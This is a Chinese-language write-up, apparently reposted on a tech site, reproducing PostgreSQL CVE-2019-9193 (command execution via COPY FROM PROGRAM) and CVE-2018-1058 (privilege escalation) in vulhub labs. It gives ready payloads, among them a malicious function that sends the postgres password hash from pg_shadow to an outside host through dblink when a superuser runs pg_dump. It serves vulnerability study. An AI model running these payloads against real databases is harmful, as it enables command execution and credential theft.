暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

PostgreSQL漏洞复现与利用

第59号 2021-07-19
2267

PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),是以加州大学计算机系开发的POSTGRES,4.2版本为基础的对象关系型数据库管理系统。


PostgreSQL支持大部分的SQL标准并且提供了很多其他现代特性,如复杂查询、外键、触发器、视图、事务完整性、多版本并发控制等。同样,PostgreSQL也可以用许多方法扩展,例如通过增加新的数据类型、函数、操作符、聚集函数、索引方法、过程语言等。


目前应用广泛,使用空间测绘发现全球有119万多个PostgreSQL应用,因此该数据库的部分严重漏洞具有广泛的危险性,本文主要对该数据库之前存在的部分高危漏洞进行复现。



CVE-2019-9193任意命令执行复现




影响范围


PostgreSQL v9.3-v11


常用payload


DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM 'id';

SELECT * FROM cmd_exec;

将在输出中显示命令id的执行结果

 

DROP TABLE if EXISTS wooyun;

CREATE TABLE wooyun (t TEXT);

INSERT INTO wooyun(t) VALUES ('hello test');

COPY wooyun(t) TO '/tmp/test';

将在/tmp/test文件中写入hello test内容


漏洞复现


使用vulhub进行环境搭建



使用弱口令postgres/postgres登录数据库,并执行payload语句



命令成功执行如下



利用写入文件的payload尝试执行



在tmp目录下成功写入文件


 

CVE-2018-1058提权复现




影响范围


PostgreSQL v9.3-10


常用payload


CREATE FUNCTIONpublic.array_to_string(anyarray,text) RETURNS TEXT AS $$

   select dblink_connect((select 'hostaddr=192.168.99.178 port=5433 user=postgres password=chybetasslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHEREusename='postgres')));

   SELECT pg_catalog.array_to_string($1,$2);

$$ LANGUAGE SQL VOLATILE;

 

该SQL语句主要是创建一个数据库函数,并利用SQL连接带外通道发送数据库密码信息


漏洞复现


使用vulhub进行环境搭建



使用低权限的用户vulhub/vulhub登录postgreSQL数据库,并执行payload



这次如果正常用户使用超级用户的权限去执行pg_dump命令,则会触发我们所创建的恶意函数。


docker-compose exec postgres pg_dump -Upostgres -f evil.bak vulhub



监听的服务器则会获取到数据库密码hash



后续根据需要可修改函数所定义的内容,达到其他目的

 




文章转载自第59号,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论